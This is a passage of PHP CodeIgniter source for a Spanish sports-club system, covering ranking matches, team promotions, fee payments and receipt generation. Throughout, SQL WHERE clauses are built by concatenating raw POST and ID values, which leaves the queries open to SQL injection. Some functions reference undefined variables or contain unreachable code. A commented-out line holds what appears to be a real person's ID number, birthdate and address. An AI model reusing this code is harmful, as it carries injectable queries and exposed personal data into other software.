"_search", TRUE ), "where" => '', "search_field" => $this->CI->input->post( "searchField", TRUE ), "search_operator" => $this->CI->input->post( "searchOper", TRUE ), "search_str" => $this->CI->input->post( "searchString", TRUE ), ); if($req_param['search']=='true' && $req_param['search_field']!='' && $req_param['search_operator']!='' && $req_param['search_str']!='') { if(trim($where)!="") $where .= ' AND '; $where .= $req_param['search_field']; switch($req_param['search_operator']) { case 'cn': $where .=' LIKE \'%'.$req_param['search_str'].'%\' '; break; } } if(isset($add_params)) { switch($add_params) { case "future": if(trim($where)!="") $where .= ' AND '; $where .= "(booking.date > '".date($this->config->item('date_db_format'))."' OR (booking.date = '".date($this->config->item('date_db_format'))."' AND booking.intervalo >= '".date($this->config->item('hour_db_format'))."'))"; break; default: #asumo que es para usuarios.. if(trim($where)!="") $where .= ' AND '; $where .= "ranking_matchs.id_ranking IN (select id_ranking from ranking_teams, ranking_teams_members WHERE ranking_teams.id_ranking = ".$ranking." AND ranking_teams.id = ranking_teams_members.id_team AND ranking_teams_members.id_user = ".$add_params.") AND ranking_matchs.group IN (select ranking_teams.group from ranking_teams, ranking_teams_members WHERE ranking_teams.id_ranking = ".$ranking." AND ranking_teams.id = ranking_teams_members.id_team AND ranking_teams_members.id_user = ".$add_params.")"; break; } } if(trim($where)!="") $where .= ' AND '; $where .= 'ranking_matchs.id_ranking = '.$ranking; if(trim($where)!="") $where .= ' AND '; $where .= 'ranking_matchs.round = '.$round; $req_param['where'] = $where; if(isset($add_params) && is_array($add_params) && isset($add_params['where']) && $add_params['where'] != '') { if(trim($req_param['where']) != '') $req_param['where'] .= ' AND '; $req_param['where'] .= $add_params['where'];} $data->page = $this->CI->input->post( "page", TRUE ); //print("<pre>");print_r($record_items);exit(); $data->records = count ($this->CI->rank->get_matchs_data($req_param,"all")); if(isset($data->records) && $data->records!=0) $data->total = ceil ($data->records / $req_param['num_rows'] ); else $data->total = 0; $records = $this->CI->rank->get_matchs_data ($req_param, 'none'); for($i=0; $i<count($records); $i++) { if($records[$i]['played_date']) $records[$i]['fecha'] = date($this->CI->config->item('reserve_date_filter_format'), strtotime($records[$i]['played_date'])); elseif($records[$i]['estimated_date']) $records[$i]['fecha'] = date($this->CI->config->item('reserve_date_filter_format'), strtotime($records[$i]['estimated_date'])); else $records[$i]['fecha'] = ''; if($records[$i]['winner']!='' && $records[$i]['ganador']=='') $records[$i]['ganador'] = 'No identificado'; elseif($records[$i]['winner']=='') $records[$i]['ganador'] = ' - '; //$resultado[$i]['final'] = date($this->config->item('reserve_date_filter_format'), strtotime($resultado[$i]['end_date'])); if(trim($records[$i]['phone1'])!='') $records[$i]['equipo1'] .= ' ('.$records[$i]['phone1'].')'; if(trim($records[$i]['phone2'])!='') $records[$i]['equipo2'] .= ' ('.$records[$i]['phone2'].')'; } $data->rows = $records; return $data; } /** * Recupera datos de partidos para una jornada * * @return array * @author Mathew **/ public function getMatchInfo($id_match) { //$req_param = array (); $req_param = array ( "orderby" => $this->CI->input->post( "sidx", TRUE ), "orderbyway" => $this->CI->input->post( "sord", TRUE ), "page" => $this->CI->input->post( "page", TRUE ), "num_rows" => $this->CI->input->post( "rows", TRUE ), "search" => $this->CI->input->post( "_search", TRUE ), "where" => '', "search_field" => $this->CI->input->post( "searchField", TRUE ), "search_operator" => $this->CI->input->post( "searchOper", TRUE ), "search_str" => $this->CI->input->post( "searchString", TRUE ), ); $where = 'ranking_matchs.id = '.$id_match; $req_param['where'] = $where; //print("<pre>");print_r($record_items);exit(); $resultado = $this->CI->rank->get_matchs_data($req_param,"all"); $partido = array(); if(count($resultado)>0) $partido = $resultado[0]; $tanteo = $this->CI->rank->get_matchs_result_data($id_match); $partido['tanteo'] = $tanteo; return $partido; } /** * Dar de alta un equipo nuevo en el ranking * * @return array * @author Mathew **/ public function newTeam($id, $datos) { //print("<pre>");print_r($datos);exit(); $jugadores = $this->CI->rank->get_teams_members(array('where' => "ranking.id = '".$id."' and ranking_teams.status not in (9)")); $test = 1; foreach($jugadores as $jugador) { if($datos['main_user'] == $jugador['id_user']) $test = 0; } //print($test.' - '.$datos."<pre>");print_r($jugadores);exit(); if($test==1) $this->CI->rank->createTeam($id, $datos); else return FALSE; return TRUE; } /** * recuperar info de un equipo * * @return array * @author Mathew **/ public function getTeam($id) { //print("<pre>");print_r($datos);exit(); $equipos = $this->CI->rank->get_teams(array('where' => "ranking_teams.id = '".$id."'")); $equipo = $equipos[0]; $jugadores = $this->CI->rank->get_teams_members(array('where' => "ranking_teams.id = '".$id."'")); $equipo['players'] = $jugadores; return $equipo; $test = 1; foreach($jugadores as $jugador) { if($datos['main_user'] == $jugador['id_user']) $test = 0; } if($test==1) $this->CI->rank->createTeam($id, $datos); return TRUE; } /** * aplica las promociones de subida y bajada de equipos en sus grupos * * @return boolean * @author Mathew **/ public function runPromotion($ranking, $listado, $ronda) { $debug = FALSE; $resultado = array(); # Recorro los grupos foreach($listado as $id => $equipos) { # comprobacion de que hay que bajar equipos... $bajar = TRUE; if($debug) echo '<br> TRabajando con el equipo '.$id; if($listado[$id][1]['id'] == 0 || !isset($listado[$id+1]) || $listado[$id+1][1]['id'] == 0) { $bajar = FALSE; } if($bajar) { if($debug) echo '<br> el grupo '.$id.' puede bajar'; foreach($equipos as $idt => $equipo) { /* # Codigo para bajar al ultimo a dos grupos m๏ฟฝs abajo if($idt == count($equipos)) { $pos_destino = 2; if($id != (count($listado)-2) || $id != (count($listado)-1)) $grupo_destino = $equipo['group'] + 2; else { $grupo_destino = $equipo['group'] + 1; //$pos_destino = 2; } if($debug) echo '<br> bajar el equipo '.$equipo['id'].' ('.$equipo['description'].') dos grupos.. del '.$equipo['group'].' al '.$grupo_destino.' a posicion '.$pos_destino; $this->CI->rank->setTeamPosition($ranking, $equipo['id'], $grupo_destino, $pos_destino); } */ # codigo para bajar al ultimo un grupo m๏ฟฝs abajo if($idt == (count($equipos))) { $pos_destino = 1; $grupo_destino = $equipo['group'] + 1; if($debug) echo '<br> bajar el equipo '.$equipo['id'].' ('.$equipo['description'].') un grupo.. del '.$equipo['group'].' al '.$grupo_destino.' a posicion '.$pos_destino; $this->CI->rank->setTeamPosition($ranking, $equipo['id'], $grupo_destino, $pos_destino, $ronda); } } } # comprobacion de que hay que subir equipos $subir = TRUE; if($id == 1 || $listado[$id][1]['id'] == 0) $subir = FALSE; if($subir) { if($debug) echo '<br> el grupo '.$id.' puede subir'; foreach($equipos as $idt => $equipo) { /* # Codigo para subir al primer dos grupos m๏ฟฝs arriba if($idt == 1) { $pos_destino = 3; if($id > 3) $grupo_destino = $equipo['group'] - 2; else { $grupo_destino = $equipo['group'] - 1; //$pos_destino = 3; } if($grupo_destino <= 0) $grupo_destino = 1; if($debug) echo '<br> subir el equipo '.$equipo['id'].' ('.$equipo['description'].') dos grupos. del '.$equipo['group'].' al '.$grupo_destino.' a posicion '.$pos_destino; $this->CI->rank->setTeamPosition($ranking, $equipo['id'], $grupo_destino, $pos_destino); }*/ # Codigo para subir al primer un grupo m๏ฟฝs arriba if($idt == 1) { $grupo_destino = $equipo['group'] - 1; if($grupo_destino <= 0) $grupo_destino = 1; $pos_destino = 4; if($debug) echo '<br> subir el equipo '.$equipo['id'].' ('.$equipo['description'].') un grupo. del '.$equipo['group'].' al '.$grupo_destino.' a posicion '.$pos_destino; $this->CI->rank->setTeamPosition($ranking, $equipo['id'], $grupo_destino, $pos_destino, $ronda); } } } } //exit(); return TRUE; } /** * aplica las promociones de subida y bajada de equipos en sus grupos * * @return boolean * @author Mathew **/ public function runPromotion_vieja($ranking, $listado, $ronda) { $debug = TRUE; $resultado = array(); # Recorro los grupos foreach($listado as $id => $equipos) { # comprobacion de que hay que bajar equipos... $bajar = TRUE; if($debug) echo '<br> TRabajando con el equipo '.$id; if($listado[$id][1]['id'] == 0 || !isset($listado[$id+1]) || $listado[$id+1][1]['id'] == 0) { $bajar = FALSE; } if($bajar) { if($debug) echo '<br> el grupo '.$id.' puede bajar'; foreach($equipos as $idt => $equipo) { if($idt == count($equipos)) { $pos_destino = 2; if($id != (count($listado)-2) || $id != (count($listado)-1)) $grupo_destino = $equipo['group'] + 2; else { $grupo_destino = $equipo['group'] + 1; //$pos_destino = 2; } if($debug) echo '<br> bajar el equipo '.$equipo['id'].' ('.$equipo['description'].') dos grupos.. del '.$equipo['group'].' al '.$grupo_destino.' a posicion '.$pos_destino; $this->CI->rank->setTeamPosition($ranking, $equipo['id'], $grupo_destino, $pos_destino); } if($idt == (count($equipos)-1)) { $pos_destino = 1; $grupo_destino = $equipo['group'] + 1; if($debug) echo '<br> bajar el equipo '.$equipo['id'].' ('.$equipo['description'].') un grupo.. del '.$equipo['group'].' al '.$grupo_destino.' a posicion '.$pos_destino; $this->CI->rank->setTeamPosition($ranking, $equipo['id'], $grupo_destino, $pos_destino); } } } # comprobacion de que hay que subir equipos $subir = TRUE; if($id == 1 || $listado[$id][1]['id'] == 0) $subir = FALSE; if($subir) { if($debug) echo '<br> el grupo '.$id.' puede subir'; foreach($equipos as $idt => $equipo) { if($idt == 1) { $pos_destino = 3; if($id > 3) $grupo_destino = $equipo['group'] - 2; else { $grupo_destino = $equipo['group'] - 1; //$pos_destino = 3; } if($grupo_destino <= 0) $grupo_destino = 1; if($debug) echo '<br> subir el equipo '.$equipo['id'].' ('.$equipo['description'].') dos grupos. del '.$equipo['group'].' al '.$grupo_destino.' a posicion '.$pos_destino; $this->CI->rank->setTeamPosition($ranking, $equipo['id'], $grupo_destino, $pos_destino); } if($idt == 2) { $grupo_destino = $equipo['group'] - 1; if($grupo_destino <= 0) $grupo_destino = 1; $pos_destino = 4; if($debug) echo '<br> subir el equipo '.$equipo['id'].' ('.$equipo['description'].') un grupo. del '.$equipo['group'].' al '.$grupo_destino.' a posicion '.$pos_destino; $this->CI->rank->setTeamPosition($ranking, $equipo['id'], $grupo_destino, $pos_destino); } } } } exit(); return TRUE; } ############## # # Registra el pago de la cuota de usuario # #################### public function pay_user_quota($asistente, $options = NULL) { /* if(isset($options['object']) && is_array($options['object'])) $assistant=$options['object']; else $assistant=get_object_vars ($this->CI->calendario->getAssistantInfo($asistente)); */ $assistant = $this->CI->rank->get_teams_members(array('where'=>"ranking.started = 1 AND ranking_teams_members.id = ".$asistente." ")); $assistant = $assistant[0]; $ranking = $this->CI->rank->get_data(array('where'=>"ranking.id = ".$assistant['id_ranking'])); $ranking = $ranking[0]; $equipo = $this->CI->rank->get_teams(array('where' => 'ranking_teams.id = '.$assistant['id_team'])); $equipo = $equipo[0]; //print('equipo<pre>');print_r($equipo); $assistant['grupo'] = $this->CI->users->getUserGroup($assistant['id_user']); if(!isset($assistant['grupo']) || $assistant['grupo']=='') $assistant['grupo'] = 9; $assistant['quota'] = $this->CI->app_common->getPriceValue($ranking['price'], array('group' => $assistant['grupo'])); //$assistant_info = $this->CI->users->get_user($assistant['id_user']); //print('usuario<pre>');print_r($assistant_info); //$info = $this->CI->calendario->getCalendarByRange($assistant['id_lesson']); //print('curso<pre>');print_r($info); //exit(); if(!isset($quantity) || $quantity == '') $quantity = 1; // Mensualidades por defecto a pagar # Si se ha marcado como dado de alta el usuario, seguimos.. if($assistant['sign_date'] != '') { if(!isset($assistant['last_day_payed']) || $assistant['last_day_payed']=="") { $ultima_fecha = $assistant['sign_date']; $dia = date('d', strtotime($ultima_fecha)); $dia_de_pago = '01'; if($dia < $dia_de_pago) { $trozos = explode('-', $ultima_fecha); $last_payd_date = $trozos[0].'-'.$trozos[1].'-'.$dia_de_pago; } elseif($dia > $dia_de_pago) { $fecha_siguiente = date($this->CI->config->item('log_date_format'), strtotime($assistant['sign_date'].' +1 month')); $trozos = explode('-', $fecha_siguiente); $last_payd_date = $trozos[0].'-'.$trozos[1].'-'.$dia_de_pago; } else { $last_payd_date = date($this->CI->config->item('log_date_format'), strtotime($assistant['sign_date'].' +1 month')); } //echo "1<br>"; } else { $last_payd_date = date($this->CI->config->item('log_date_format'), strtotime($assistant['last_day_payed'].' +1 month')); //echo "2<br>"; } //echo '<br>... las_payd_date: '.$last_payd_date; //exit(); $paymentway = 4; //Forma pago temporal.. por banco if(isset($quantity) && $quantity!=0 && $quantity!="" && isset($paymentway) && $paymentway!=0 && $paymentway!="") { /* $cuota = $assistant['quota']; $pay_amount_tmp = $cuota * $quantity; if($assistant->discount_type == '%') $pay_amount = $pay_amount_tmp - ($pay_amount_tmp * $assistant->discount / 100); else $pay_amount = $pay_amount_tmp - $assistant->discount; */ $pay_amount = $assistant['quota']; //exit('cuota:'.$pay_amount); if($this->CI->rank->setMonthlyPayment($asistente, $last_payd_date)) $this->CI->session->set_userdata('info_message', 'Pago hasta el '.date($this->CI->config->item('reserve_date_filter_format'), strtotime($last_payd_date)).' realizado'); else { return FALSE; } //exit(); if($assistant['id_user'] != '' && $assistant['id_user'] != 0) { $user_desc = $assistant['first_name'].' '.$assistant['last_name']; $description = "Cuota mensual del ranking '".$ranking['description']."', hasta el ".$last_payd_date; } else { # En caso de que el usuario insscrito como jugador sea an๏ฟฝnimo $user_desc = $equipo['main_user_description']; $assistant['id_user'] = $equipo['main_user']; $description = "Cuota mensual (en nombre de ".$assistant['main_user_description'].") del ranking '".$ranking['description']."', hasta el ".$last_payd_date; } $estado = 9; if($paymentway == 4) $estado = 2; if($pay_amount == 0) $estado = 9; // Si la cuota resultante es '0', se pone siempre como pagado para evitar pagos raros pendientes en remesas $this->CI->load->model('Payment_model', 'pagos', TRUE); $this->CI->pagos->id_type=7; //Ranking $this->CI->pagos->id_element=$this->CI->session->userdata('session_id'); $this->CI->pagos->id_transaction='r-'.$ranking['id'].'-'.$assistant['id_team'].'-'.$assistant['id'].'-'.date('U'); // Formato 'l' de lesson, codigo de curso, codigo de usuario y fecha del momento del pago $this->CI->pagos->id_user=$assistant['id_user']; $this->CI->pagos->desc_user=$user_desc; $this->CI->pagos->id_paymentway = $paymentway; $this->CI->pagos->status=$estado; $this->CI->pagos->quantity = $pay_amount; $this->CI->pagos->datetime=date($this->CI->config->item('log_date_format')); $this->CI->pagos->description = $description; $this->CI->pagos->create_user=$this->CI->session->userdata('user_id'); $this->CI->pagos->create_time=date($this->CI->config->item('log_date_format')); $this->CI->pagos->setPayment(); //exit('AAAAAAAAAAAAAAA'); return TRUE; } else return FALSE; } else return FALSE; // no est๏ฟฝ marcado como dado de alta return NULL; } } ``` control.php ```<?php class Control extends Controller { function Control() { parent::Controller(); } function index() { echo "Testigo ".date('YmdHis'); } function scheduled_eraser() { $this->load->model('reservas_model', 'reservas', TRUE); $this->load->model('Redux_auth_model', 'usuario', TRUE); $this->load->library('booking'); //echo "Testigo ".strtotime(' -3minutes').' - '.date('Y-m-d H:i:s', strtotime(' -3minutes')); $booking_table = 'booking'; $payments_table = 'payments'; $payments_extra_table = 'payments_tpv_extra'; $limit_datetime = date('Y-m-d H:i:s', strtotime(' -15minutes')); //$limit_datetime = date('Y-m-d H:i:s'); $booking_status_to_erase = '5'; $booking_status_to_cancel = '7'; $payment_status_to_erase = '5'; $payment_status_to_cancel = '7'; $paymentway_to_erase = '6'; # Borrado de los datos extra de los pagos por TPV a medio hacer $this->db->where("id_payment IN (SELECT id FROM ".$payments_table." WHERE status = '".$payment_status_to_erase."' and id_paymentway = '".$paymentway_to_erase."' and datetime <='".$limit_datetime."' )"); //$this->db->where('id_paymentway', $paymentway_to_erase); $this->db->delete($payments_extra_table); log_message('debug','Pagos inutilizados, borrados: '.$this->db->last_query()); # Cancelaciรณn de las reservas asociadas a los pagos que vamos a cancelar $this->db->distinct(); $this->db->select($booking_table.'.id_transaction')->from($booking_table); $this->db->join($payments_table, $payments_table.'.id_transaction = '.$booking_table.'.id_transaction', 'left outer'); $this->db->where($payments_table.".status = '".$payment_status_to_erase."' and ".$payments_table.".id_paymentway = '".$paymentway_to_erase."' and ".$payments_table.".datetime <='".$limit_datetime."'"); $query = $this->db->get(); foreach ($query->result() as $row) { //echo '<br>'.$row->id_transaction; $info=$this->reservas->getBookingInfoById($row->id_transaction); $text_cancel = 'Pago no finalizado'; //print("<pre>");print_r($info);exit(); $result = $this->booking->cancel_reserve($info, $text_cancel, array('mail' => TRUE, 'refund' => FALSE)); } //exit($this->db->last_query()); # Cancelacion de los pagos que llevan demasiado tiempo pendientes (presumibles pagos por TPV que no se han cerrado) $this->db->where('status', $payment_status_to_erase); $this->db->where('datetime <=', $limit_datetime); $data = array( 'status' => $payment_status_to_cancel, 'modify_user' => '0', 'modify_time' => date($this->config->item('log_date_format')), 'modify_ip' => $this->session->userdata('ip_address') ); $this->db->update($payments_table, $data); log_message('debug',$this->db->last_query()); $this->db->where('create_time <=', $limit_datetime); $this->db->where('status', $booking_status_to_erase); $this->db->delete($booking_table); log_message('debug','Reservas no confirmadas, borradas: '.$this->db->last_query()); /* $sql_insert = "insert into booking_cancelled (id_booking, id_transaction, id_user, booking_code, session, id_court, date, intervalo, status, cancelation_reason, id_paymentway, price, no_cost, no_cost_desc, user_nif, user_desc, user_phone, create_user, create_time, create_ip) (select id_booking, id_transaction, id_user, booking_code, session, id_court, date, intervalo, status, 'Reserva cancelada automaticamente por impago', id_paymentway, price, no_cost, no_cost_desc, user_nif, user_desc, user_phone, '0', '".date($this->config->item('log_date_format'))."', '".$this->session->userdata('ip_address')."' from ".$booking_table." where modify_time = '".$limit_datetime."' AND status = '".$booking_status_to_cancel."')"; $this->db->query($sql_insert); log_message('debug','Reservas impagadas, borradas: '.$this->db->last_query()); $this->db->where('create_time <=', $limit_datetime); $this->db->where('status', $booking_status_to_cancel); $this->db->delete($booking_table); log_message('debug',$this->db->last_query()); */ /* $this->db->delete('booking',array('create_time <=', $limit_datetime, 'status', $booking_status_to_cancel)); log_message('debug',$this->db->last_query()); */ exit(); } function scheduled_payments() { # Nuevos pagos pendientes para remesas bancarias para los cursos //echo "Testigo ".strtotime(' -3minutes').' - '.date('Y-m-d H:i:s', strtotime(' -3minutes')); $payments_table = 'payments'; $limit_datetime = date('Y-m-d H:i:s', strtotime(' -5minutes')); $payment_status = '2'; $paymentway = '4'; $this->db->where("id_payment IN (SELECT id FROM ".$payments_table." WHERE status = '5' and id_paymentway = '".$paymentway_to_erase."' and datetime <='".$limit_datetime."')"); //$this->db->where('id_paymentway', $paymentway_to_erase); $this->db->delete($payments_extra_table); log_message('debug','Pagos inutilizados, borrados: '.$this->db->last_query()); exit(); } function night_process() { exit(); } ##################### # # Funciรณn que genera los pagos relativos a las cuotas de usuarios # #################### function users_quotas() { $this->load->library('users_lib'); $pagadores = $this->users_lib->get_quotable_users('ALL'); $pagados = array(); $no_pagados = array(); //print("<pre>");print_r($pagadores);print_r($invalidos);exit(); foreach($pagadores as $pagador) { if(isset($pagador['code_price']) && $pagador['code_price']!= '0' && $this->users_lib->pay_user_quota($pagador['id'], array('code_price' => $pagador['code_price'], 'name' => trim($pagador['first_name'].' '.$pagador['last_name']), 'group_id' => $pagador['group']))) { array_push($pagados, $pagador); } else { array_push($no_pagados, $pagador); } } if(count($pagados) > 0) { $this->load->model('Notifications_model', 'mails', TRUE); $message = $this->load->view('users/new_quotas_notification', array('usuarios' => $pagados), true); $registro = array( 'subject' => 'Creados nuevos pagos de cuotas de usuario', 'from' => $this->config->item('email_from'), 'destination_id' => 0, 'destination_text' => $this->config->item('users_qouta_admin_notification'), 'content' => $message, 'active' => 1, 'create_user' => $this->session->userdata('user_id'), 'create_ip' => $this->session->userdata('ip_address'), 'create_time' => date(DATETIME_DB) ); $this->mails->createNotificationMessage($registro); } $invalidos = $this->users_lib->get_quotable_users(FALSE); #Aรฑado al array de invรกlidos aquellos que se nos pasaron como vรกlidos pero que luego no han podido ser cobrados por la funciรณn foreach($no_pagados as $fallo) { array_push($invalidos, array('id' => $fallo['id'], 'nombre' => trim($fallo['first_name'].' '.$fallo['last_name']))); } if(count($invalidos) > 0) { $this->load->model('Notifications_model', 'mails', TRUE); $message = $this->load->view('users/bad_quotas_notification', array('usuarios' => $invalidos), true); $registro = array( 'subject' => 'Errores en cobro de cuotas de usuario', 'from' => $this->config->item('email_from'), 'destination_id' => 0, 'destination_text' => $this->config->item('users_qouta_admin_notification'), 'content' => $message, 'active' => 1, 'create_user' => $this->session->userdata('user_id'), 'create_ip' => $this->session->userdata('ip_address'), 'create_time' => date(DATETIME_DB) ); $this->mails->createNotificationMessage($registro); } //print("<pre>");print_r($pagadores);print_r($invalidos);exit(); //echo 'aa'; //exit(); } ##################### # # Funciรณn que genera los pagos relativos a las inscripciones de los usuarios en clases # #################### function lessons_quotas() { $this->load->model('redux_auth_model', 'users', TRUE); $this->load->helper('jqgrid'); $this->load->library('calendario'); $this->load->model('Lessons_model', 'lessons', TRUE); //echo '----'.$this->config->item('log_date_format').'---'.date($this->config->item('log_date_format')); #Recupero lista de usuarios //$where= "lessons.active = 1 and lessons_assistants.status IN (1,2,3) and lessons.start_date <= '".date($this->config->item('date_db_format'))."' AND lessons.end_date >= '".date($this->config->item('date_db_format'))."'"; $where= "lessons.active = 1 and lessons_assistants.status IN (1,2,3) AND lessons.end_date >= '".date($this->config->item('date_db_format'))."' "; $pagadores = $this->lessons->get_AssitantsData(array('where' => $where, 'order_by' => ' lessons.id asc, users.group_id'),"all"); //print("<pre>");print_r($pagadores);exit(); foreach($pagadores as $pagador) { $this->calendario->pay_user_quota($pagador['id'], array('object' => $pagador)); } } ##################### # # Funciรณn que genera los pagos relativos a las inscripciones de los usuarios en clases # #################### function lessons_quotas_torrijos($curso_id = NULL) { $this->load->model('redux_auth_model', 'users', TRUE); $this->load->helper('jqgrid'); $this->load->library('calendario'); $this->load->model('Lessons_model', 'lessons', TRUE); $this->load->library('users_lib'); $debug = FALSE; # Genero el codigo de barras require($this->config->item('root_path').'system/libraries/barcode/BCGFontFile.php'); require($this->config->item('root_path').'system/libraries/barcode/BCGColor.php'); require($this->config->item('root_path').'system/libraries/barcode/BCGDrawing.php'); require($this->config->item('root_path').'system/libraries/barcode/BCGcode128.barcode.php'); set_time_limit (900); ini_set("memory_limit","900M"); //echo '----'.$this->config->item('log_date_format').'---'.date($this->config->item('log_date_format')); #Recupero lista de usuarios $add_where = ""; if(isset($curso_id)) $add_where = " and lessons.id = '".$curso_id."' "; //if(isset($curso_id)) $add_where = " and lessons.id >= '".$curso_id."' and lessons.id <= '".(intval($curso_id)+2)."' "; //$where= "lessons.active = 1 and lessons_assistants.status IN (1,2,3) and lessons.start_date <= '".date($this->config->item('date_db_format'))."' AND lessons.end_date >= '".date($this->config->item('date_db_format'))."'"; $where= "lessons.active = 1 and lessons_assistants.status IN (1,2,3) AND lessons.end_date >= '".date($this->config->item('date_db_format'))."' ".$add_where; //and users.group_id < 7"; $pagadores = $this->lessons->get_AssitantsData(array('where' => $where, 'order_by' => ' lessons.id asc, meta.last_name'),"all"); require($this->config->item('root_path').'system/libraries/fpdf/fpdf.php'); $pdf = new FPDF(); $i=0;print("<pre>");print_r($pagadores); if($debug) print("<pre>"); if($debug) print_r($pagadores); //if($debug) exit(); $id_curso=0; $desc_curso = ''; foreach($pagadores as $pagador) { $chk_couta = FALSE; if($id_curso==0 || $id_curso != intval($pagador['id_lesson'])) { if($id_curso!=0) $pdf->Output($this->config->item('root_path').'data/recibos/'.$desc_curso.'.pdf', 'F'); if($debug) echo '<br>Grabo el fichero '.$desc_curso.'.pdf'; unset($pdf); $pdf = new FPDF(); $desc_curso = urlencode($pagador['description']).' ('.$pagador['id_lesson'].')'; $id_curso = $pagador['id_lesson']; } $i++; if($debug) echo '<br>Alumno '.$pagador['user_desc'].' del curso '.$pagador['description']; # Si el tio no era socio, subimos de nivel if($pagador['group_id']>=7) { $chk_couta = TRUE; if($pagador['group_id']==7) $cuota_socio = 6; else $cuota_socio = 10; $this->db->query("update users set group_id = group_id-2 WHERE id = '".$pagador['id_user']."'"); $this->users_lib->pay_user_quota($pagador['id_user'], array('payable_quota'=> $cuota_socio)); //$assistant=get_object_vars ($this->calendario->getAssistantInfo($pagador['id'])); if($debug) echo 'Pago su cuota de usuario'; } if(isset($pagador) && is_array($pagador)) $assistant=$pagador; else $assistant=get_object_vars ($this->calendario->getAssistantInfo($pagador['id'])); $tmp__ = $pagadores = $this->lessons->get_AssitantsData(array('where' => $where." and lessons_assistants.id_user = ".$pagador['id_user'], 'order_by' => ' lessons.id asc, meta.last_name'),"all"); $assistant=$tmp__[0]; //print('asistente<pre>');print_r($assistant);exit(); $assistant_info = $this->users->get_user($assistant['id_user']); //print('usuario<pre>');print_r($assistant_info);exit(); $info = $this->calendario->getCalendarByRange($assistant['id_lesson']); //print('curso<pre>');print_r($info);exit(); $this->load->model('Payment_model', 'pagos', TRUE); //exit(); if(!isset($quantity) || $quantity == '') $quantity = 1; // Mensualidades por defecto a pagar # Si se ha marcado como dado de alta el usuario, seguimos.. if($assistant['signed'] == '1') { if($debug) echo '<br>Estรก apuntado al curso '; if(!isset($assistant['last_day_payed']) || $assistant['last_day_payed']=="") { $ultima_fecha = $assistant['sign_date']; $dia = date('d', strtotime($ultima_fecha)); $dia_de_pago = '01'; if($dia < $dia_de_pago) { $trozos = split('-', $ultima_fecha); $last_payd_date = $trozos[0].'-'.$trozos[1].'-'.$dia_de_pago; } elseif($dia > $dia_de_pago) { $fecha_siguiente = date($this->config->item('log_date_format'), strtotime($assistant['sign_date'].' +'.$info->price_duration.' '.$this->pagos->getFrequencyCommand($info->frequency))); $trozos = split('-', $fecha_siguiente); $last_payd_date = $trozos[0].'-'.$trozos[1].'-'.$dia_de_pago; if(!is_array($trozos)) { print('asistente<pre>');print_r($assistant); $last_payd_date = date('Y').'-'.date('m').'-'.$dia_de_pago;} } else { $last_payd_date = date($this->config->item('log_date_format'), strtotime($assistant['sign_date'].' +'.$info->price_duration.' '.$this->pagos->getFrequencyCommand($info->frequency))); } //echo "1<br>"; } else { $last_payd_date = date($this->config->item('log_date_format'), strtotime($assistant['last_day_payed'].' +'.$info->price_duration.' '.$this->pagos->getFrequencyCommand($info->frequency))); //echo "2<br>"; } if($debug) echo '<br>... las_payd_date: '.$last_payd_date; //exit(); $paymentway = 4; //Forma pago temporal.. por banco if(isset($quantity) && $quantity!=0 && $quantity!="" && isset($paymentway) && $paymentway!=0 && $paymentway!="") { /* $cuota = $assistant['quota']; $pay_amount_tmp = $cuota * $quantity; if($assistant->discount_type == '%') $pay_amount = $pay_amount_tmp - ($pay_amount_tmp * $assistant->discount / 100); else $pay_amount = $pay_amount_tmp - $assistant->discount; */ $pay_amount = $assistant['quota']; if($debug) echo '<br>La cuota es '.$pay_amount; //exit('cuota:'.$pay_amount); if($this->lessons->setMonthlyPayment($pagador['id'], $last_payd_date)) { if($debug) echo '<br>Pagado: Pago hasta el '.date($this->config->item('reserve_date_filter_format'), strtotime($last_payd_date)).' realizado';} else { if($debug) echo '<br>Error al definir la cuota como pagada'; } if($assistant['id_user'] != '' && $assistant['id_user'] != 0) $user_desc = $assistant['first_name'].' '.$assistant['last_name']; else $user_desc = $assistant['user_desc']; $estado = 9; if($paymentway == 4) $estado = 2; if($pay_amount == 0) $estado = 9; $this->pagos->id_type=2; //Clases y cursos $this->pagos->id_element=$this->session->userdata('session_id'); $this->pagos->id_transaction='l-'.$assistant['id_lesson'].'-'.$assistant['id_user'].'-'.date('U'); // Formato 'l' de lesson, codigo de curso, codigo de usuario y fecha del momento del pago $this->pagos->id_user=$assistant['id_user']; $this->pagos->desc_user=$user_desc; $this->pagos->id_paymentway = $paymentway; $this->pagos->status=$estado; $this->pagos->quantity = $pay_amount; $this->pagos->datetime=date($this->config->item('log_date_format')); $this->pagos->description="Cuota mensual del curso '".$assistant['description']."', hasta el ".$last_payd_date; $this->pagos->create_user=$this->session->userdata('user_id'); $this->pagos->create_time=date($this->config->item('log_date_format')); $this->pagos->setPayment(); if($debug) echo '<br>Pago realizado'; $pago = $this->pagos->getPaymentByTransaction($this->pagos->id_transaction); //print_r($pago); exit(); ##########################################3 ########################################## ## PINTAR ############################### if($debug) echo '<br>Comienzo a pintar la hoja..'; $quota = number_format($pay_amount, 2); //print_r($array_result);exit(); $imgPath = $this->config->item('root_path').'images/templates/plantilla.jpg'; //$imgStampPath = $this->config->item('root_path').'images/users/'.$array_result['avatar']; $font = $this->config->item('root_path').'system/fonts/FreeSansBold.ttf'; $doc_title = 'Cuota de curso'; //print_r($array_result); //$imgPath = $this->config->item('root_path').'images/templates/'.$carnet_permission[$array_result['group_id']]; //$imgStampPath = $this->config->item('root_path').'images/users/'.$array_result['avatar']; if(!file_exists($imgPath) || !file_exists($font)) exit ('Fallo en la carga de las plantillas necesarias'); # Abro plantilla de carnet $size=getimagesize($imgPath); switch($size["mime"]){ case "image/jpeg": $image = imagecreatefromjpeg($imgPath); //jpeg file break; case "image/gif": $image = imagecreatefromgif($imgPath); //gif file break; case "image/png": $image = imagecreatefrompng($imgPath); //png file break; default: $image=false; break; } if(!$image) exit ('Fallo en la carga de las plantillas necesarias'); // Set the margins for the stamp and get the height/width of the stamp image $marge_right = 200; $marge_bottom = 1900; //imagecopy($image, $fotocarnet_thumb, imagesx($image) - $ancho_fotocarnet_thumb - $marge_right, imagesy($image) - $alto_fotocarnet_thumb - $marge_bottom, 0, 0, $ancho_fotocarnet_thumb, $alto_fotocarnet_thumb); # Escribo los datos del usuario $white = imagecolorallocate($image, 255, 255, 255); $grey = imagecolorallocate($image, 128, 128, 128); $black = imagecolorallocate($image, 0, 0, 0); $fontSize = 46; // Tamaรฑo de texto normal $text_xpos = 270; // Margen izquierdo imagettftext($image, 72, 0, 1200, 300, $black, $font, $doc_title); // Titulo //$array_result= array('user_lastname' => 'Nieto Castellano', 'user_name' => 'Juan Josรฉ', 'cif' => '50107654S', 'birthdate' => '20/08/1977', 'address' => 'Calle de Constancia, 17, 3ยบ C', 'population' => 